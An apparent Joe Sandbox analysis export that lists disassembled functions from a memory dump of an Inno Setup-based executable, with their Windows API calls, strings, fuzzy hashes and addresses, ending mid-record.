Opcode Fuzzy Hash: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
Instruction Fuzzy Hash: D391A8F0A40B11ABEB00EFB5AD96A2A3BA8EB15714310067BB454DF295D778DC108FDD

Function 0041CA0C Relevance: 33.2, APIs: 22, Instructions: 213windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0041CA40
CreateCompatibleDC.GDI32(?), ref: 0041CA4C
CreateBitmap.GDI32(0041A944,?,00000001,00000001,00000000), ref: 0041CA70
CreateCompatibleBitmap.GDI32(?,0041A944,?), ref: 0041CA80
SelectObject.GDI32(0041CE3C,00000000), ref: 0041CA9B
FillRect.USER32(0041CE3C,?,?), ref: 0041CAD6
SetTextColor.GDI32(0041CE3C,00000000), ref: 0041CAEB
SetBkColor.GDI32(0041CE3C,00000000), ref: 0041CB02
PatBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00FF0062), ref: 0041CB18
CreateCompatibleDC.GDI32(?), ref: 0041CB2B
SelectObject.GDI32(00000000,00000000), ref: 0041CB5C
SelectPalette.GDI32(00000000,00000000,00000001), ref: 0041CB74
RealizePalette.GDI32(00000000), ref: 0041CB7D
SelectPalette.GDI32(0041CE3C,00000000,00000001), ref: 0041CB8C
RealizePalette.GDI32(0041CE3C), ref: 0041CB95
SetTextColor.GDI32(00000000,00000000), ref: 0041CBAE
SetBkColor.GDI32(00000000,00000000), ref: 0041CBC5
BitBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00000000,00000000,00000000,00CC0020), ref: 0041CBE1
SelectObject.GDI32(00000000,?), ref: 0041CBEE
DeleteDC.GDI32(00000000), ref: 0041CC04

Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ColorSelect$CreatePalette$CompatibleObject$BitmapRealizeText$DeleteFillRect
String ID:
API String ID: 269503290-0
Opcode ID: 5610cf759d7025b655e2849d1764ebaab2a311e46506ba216d1aa554289a1213
Instruction ID: 91afdf38925dfcc0a19aef53af63d8b93a06df8cfedaf367688fa0d34ebdb442
Opcode Fuzzy Hash: 5610cf759d7025b655e2849d1764ebaab2a311e46506ba216d1aa554289a1213
Instruction Fuzzy Hash: 01610071A44648AFDF10EBE9DC86FDFB7B8EB48704F10446AB504E7281D67CA940CB68

Function 00497F40 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 251synchronizationCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,004982D8,?,?,00000000,?,00000000,00000000,?,0049868F,00000000,00498699,?,00000000), ref: 00497FC3
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004982D8,?,?,00000000,?,00000000,00000000,?,0049868F,00000000), ref: 00497FD6
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004982D8,?,?,00000000,?,00000000,00000000), ref: 00497FE6
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00498007
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004982D8,?,?,00000000,?,00000000), ref: 00498017

Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481

Strings

.lst, xrefs: 00498054
Setup, xrefs: 00497FAF
Inno-Setup-RegSvr-Mutex, xrefs: 00497FCD
.msg, xrefs: 0049803A
/REGU, xrefs: 00497F99
/REG, xrefs: 00497F75

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-3672972446
Opcode ID: acab9580149f75eae7839736e9631fcca2424d0ecbbcfe327cba637ac9836c34
Instruction ID: 42a01cccdaaec234e2c43ae8d099a56eb68d33786198a0d03eeaed72e33259cf
Opcode Fuzzy Hash: acab9580149f75eae7839736e9631fcca2424d0ecbbcfe327cba637ac9836c34
Instruction Fuzzy Hash: 3991B530A046049FDF11EBA9D852BAE7BA4EB4A704F5144BBF500AB682DE7D9C05CB1D

Function 0045A528 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 209COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0045A7E4,?,?,?,?,?,00000006,?,00000000,004973CD,?,00000000,00497470), ref: 0045A696

Strings

Deleting file: %s, xrefs: 0045A635
Failed to delete the file; it may be in use (%d)., xrefs: 0045A785
.lnk, xrefs: 0045A603
.chm, xrefs: 0045A5C4
.chw, xrefs: 0045A5DD
.hlp, xrefs: 0045A55F
.fts, xrefs: 0045A59C
.gid, xrefs: 0045A578
Stripped read-only attribute., xrefs: 0045A66F
Failed to strip read-only attribute., xrefs: 0045A67B
The file appears to be in use (%d). Will delete on restart., xrefs: 0045A6DF

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$.lnk$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 1452528299-3112430753
Opcode ID: 7b4c67a2979538d05da33b0281ac62305e71b724ae5420e86ae83fd1cfea1fbc
Instruction ID: 3d84b67d4b55823e814de2816039390ec2683d954eb16ce362ee678782389cb9
Opcode Fuzzy Hash: 7b4c67a2979538d05da33b0281ac62305e71b724ae5420e86ae83fd1cfea1fbc
Instruction Fuzzy Hash: 9A719030B002485BCB10EB698891BAE77B59F48719F54856BFC01AB383DA7CDE1D875E

Function 0045CA10 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 182libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0045CA2A
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045CA4A
GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045CA57
GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045CA64
GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045CA72

Part of subcall function 0045C918: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045C9B7,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045C991

AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CC65,?,?,00000000), ref: 0045CB2B
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CC65,?,?,00000000), ref: 0045CB34

Strings

advapi32.dll, xrefs: 0045CA45
SetEntriesInAclW, xrefs: 0045CA6C
W, xrefs: 0045CB42
SetNamedSecurityInfoW, xrefs: 0045CA5E
GetNamedSecurityInfoW, xrefs: 0045CA51

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
API String ID: 59345061-4263478283
Opcode ID: 551fcf749c72914a38171c600357803e83c81dab8682d1b21c615cfe1b656b91
Instruction ID: 9267600119b74d5c47b6def8195b3f0e3f25b5cd065e112b6ecb42d85fa503a5
Opcode Fuzzy Hash: 551fcf749c72914a38171c600357803e83c81dab8682d1b21c615cfe1b656b91
Instruction Fuzzy Hash: B1518571900708EFDB11DFA9C885BAEBBB8EB4C311F14806AF915B7241C6799944CFA9

Function 00456564 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 282comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00499A74,00000000,00000001,00499774,?,00000000,004568A1), ref: 004565A6
CoCreateInstance.OLE32(00499764,00000000,00000001,00499774,?,00000000,004568A1), ref: 004565CC
SysFreeString.OLEAUT32(?), ref: 00456759

Strings

IShellLink::QueryInterface(IID_IPropertyStore), xrefs: 004566BB
IPropertyStore::SetValue(PKEY_AppUserModel_ID), xrefs: 0045673E
IShellLink::QueryInterface(IID_IPersistFile), xrefs: 004567CA
IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning), xrefs: 004566EF
IPersistFile::Save, xrefs: 00456828
CoCreateInstance, xrefs: 004565D7
IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall), xrefs: 00456790
IPropertyStore::Commit, xrefs: 004567A9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateInstance$FreeString
String ID: CoCreateInstance$IPersistFile::Save$IPropertyStore::Commit$IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall)$IPropertyStore::SetValue(PKEY_AppUserModel_ID)$IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning)$IShellLink::QueryInterface(IID_IPersistFile)$IShellLink::QueryInterface(IID_IPropertyStore)
API String ID: 308859552-3936712486
Opcode ID: c517585abefeef5e4aecaacf0f1214f05652fa0e4087abcedef047af4287d9d3
Instruction ID: 8ea5dda7a560ded85d07eb9974ca036a449deae5e5e286e87ef099e1c3d3d79c
Opcode Fuzzy Hash: c517585abefeef5e4aecaacf0f1214f05652fa0e4087abcedef047af4287d9d3
Instruction Fuzzy Hash: 70A12171A00105AFDB50DFA9C885BAE77F8EF09306F55406AF904E7262DB38DD48CB69

Function 0041B3AC Relevance: 21.1, APIs: 14, Instructions: 126windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 0041B3C3
CreateCompatibleDC.GDI32(00000000), ref: 0041B3CD
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B3DF
CreateBitmap.GDI32(0000000B,?,00000001,00000001,00000000), ref: 0041B3F6
GetDC.USER32(00000000), ref: 0041B402
CreateCompatibleBitmap.GDI32(00000000,0000000B,?), ref: 0041B42F
ReleaseDC.USER32(00000000,00000000), ref: 0041B455
SelectObject.GDI32(00000000,?), ref: 0041B470
SelectObject.GDI32(?,00000000), ref: 0041B47F
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
SelectObject.GDI32(?,00000000), ref: 0041B4C7
DeleteDC.GDI32(00000000), ref: 0041B4D0
DeleteDC.GDI32(?), ref: 0041B4D9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
String ID:
API String ID: 644427674-0
Opcode ID: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
Instruction ID: 0f3e5998203d07172116f12fa3fedaa120d09cd030f2870c51d139f455c41937
Opcode Fuzzy Hash: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
Instruction Fuzzy Hash: E941AD71E44619AFDB10DAE9C846FEFB7BCEB08704F104466B614F7281D6786D408BA8

Function 004729BC Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 337COMMON

Download Yara Rule

APIs

Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00472B74
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 00472C7B
SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 00472C91
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 00472CB6

Strings

.lnk, xrefs: 00472A48
target.lnk, xrefs: 00472D00
.url, xrefs: 00472A8E
.pif, xrefs: 00472A6B, 00472BFF
Filename: %s, xrefs: 00472B16
Desktop.ini, xrefs: 00472D37
{group}\, xrefs: 00472A16

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
API String ID: 971782779-3668018701
Opcode ID: f320f92f694209bf3d87b242267b6161fd66681942871ca2a5a7eb633dffa5fc
Instruction ID: 488d38facc3b5b4348deb9d7b7a0b4180c51b54c04cb4348039bcbbbcac6ad39
Opcode Fuzzy Hash: f320f92f694209bf3d87b242267b6161fd66681942871ca2a5a7eb633dffa5fc
Instruction Fuzzy Hash: 62D13574A001499FDB11EFA9D981BDDBBF5AF08304F50806AF904B7392C778AE45CB69

Function 00454874 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegQueryValueExA.ADVAPI32(0045A9BA,00000000,00000000,?,00000000,?,00000000,00454B0D,?,0045A9BA,00000003,00000000,00000000,00454B44), ref: 0045498D

Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7

RegQueryValueExA.ADVAPI32(0045A9BA,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045A9BA,00000000,00000000,?,00000000,?,00000000), ref: 00454A11
RegQueryValueExA.ADVAPI32(0045A9BA,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045A9BA,00000000,00000000,?,00000000,?,00000000), ref: 00454A40

Strings

, xrefs: 004548FE
RegOpenKeyEx, xrefs: 00454910
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548AB
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548E4

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: d2d2157a54bb89dc076ef9e0fa42170e86ba3ac777985cc89856524af98327e3
Instruction ID: 10c729c5df0f457655d9edc07d187ac9b2ad403c2690153cc8aec617143616fc
Opcode Fuzzy Hash: d2d2157a54bb89dc076ef9e0fa42170e86ba3ac777985cc89856524af98327e3
Instruction Fuzzy Hash: D1914871E44148ABDB10DF95C842BDEB7FCEB49309F50406BF900FB282D6789E458B69

Function 004592A8 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 165registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004591B4: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004592F1,00000000,004594A9,?,00000000,00000000,00000000), ref: 00459201

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,004594A9,?,00000000,00000000,00000000), ref: 0045934F
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,004594A9,?,00000000,00000000,00000000), ref: 004593B9

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,004594A9,?,00000000,00000000,00000000), ref: 00459420

Strings

SOFTWARE\Microsoft\.NETFramework\Policy\v4.0, xrefs: 00459302
v1.1.4322, xrefs: 00459412
v4.0.30319, xrefs: 00459341
SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 0045936C
v2.0.50727, xrefs: 004593AB
SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 004593D3
.NET Framework version %s not found, xrefs: 00459459
.NET Framework not found, xrefs: 0045946D

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Close$Open
String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$SOFTWARE\Microsoft\.NETFramework\Policy\v4.0$v1.1.4322$v2.0.50727$v4.0.30319
API String ID: 2976201327-446240816
Opcode ID: 54e34cd44602b93ede3f7296a9310ab82d879df4d5c444ac47c898e8d614a2f1
Instruction ID: 97f3333ca529404cdccdc0b2d9ed50ca34310147e07c283222f48f4afab481b6
Opcode Fuzzy Hash: 54e34cd44602b93ede3f7296a9310ab82d879df4d5c444ac47c898e8d614a2f1
Instruction Fuzzy Hash: 7551B331A04144DBCB04DFA8D8A17EE77B6DB49305F54447BA841DB392E73D9E0ACB18

Function 00458894 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 004588CB
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 004588E7
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 004588F5
GetExitCodeProcess.KERNEL32(?), ref: 00458906
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0045894D
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00458969

Strings

Helper process exited with failure code: 0x%x, xrefs: 00458933
Stopping 64-bit helper process. (PID: %u), xrefs: 004588BD
Helper isn't responding; killing it., xrefs: 004588D7
Helper process exited, but failed to get exit code., xrefs: 0045893F
Helper process exited., xrefs: 00458915

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: 73dbfa3cdad617e305c3f832d4c000a78a7b9bdfac17e51cf2f5e1c942fa38a0
Instruction ID: 059a586d5f9fe809614c5be1e0bb00d3bdcd38e01f6b882276f5f7501e11c42c
Opcode Fuzzy Hash: 73dbfa3cdad617e305c3f832d4c000a78a7b9bdfac17e51cf2f5e1c942fa38a0
Instruction Fuzzy Hash: 4C2130706087409AD720E67AC485B6B76D4AF08305F00C82FB9DAE7693DE78E848D75B

Function 00454528 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DDE4: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045464F
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045478B

Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7

Strings

Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454567
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454597
RegCreateKeyEx, xrefs: 004545C3
, xrefs: 004545B1

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseCreateFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2481121983-1280779767
Opcode ID: 64c03f8d0974fb8baae80ac1f56f66a2074ee7a7d7e2c1940a2ac01f19c1dde8
Instruction ID: cde7545684c4620c2d036396f19d9a4160a162433608d969df8f63117b7f1412
Opcode Fuzzy Hash: 64c03f8d0974fb8baae80ac1f56f66a2074ee7a7d7e2c1940a2ac01f19c1dde8
Instruction Fuzzy Hash: AC81FF75A00209ABDB00DFD5C981BDEB7B9EB49309F50452AF900FB282D7789A45CB69

Function 004967C0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004538BC: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539AB
Part of subcall function 004538BC: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539BB

CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 0049683D
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00496991), ref: 0049685E
CreateWindowExA.USER32(00000000,STATIC,004969A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00496885
SetWindowLongA.USER32(?,000000FC,00496018), ref: 00496898
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496964,?,?,000000FC,00496018,00000000,STATIC,004969A0), ref: 004968C8
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 0049693C
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496964,?,?,000000FC,00496018,00000000), ref: 00496948

Part of subcall function 00453D30: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17

DestroyWindow.USER32(?,0049696B,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496964,?,?,000000FC,00496018,00000000,STATIC), ref: 0049695E

Strings

/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 004968F7
STATIC, xrefs: 0049687E

Memory Dump Source

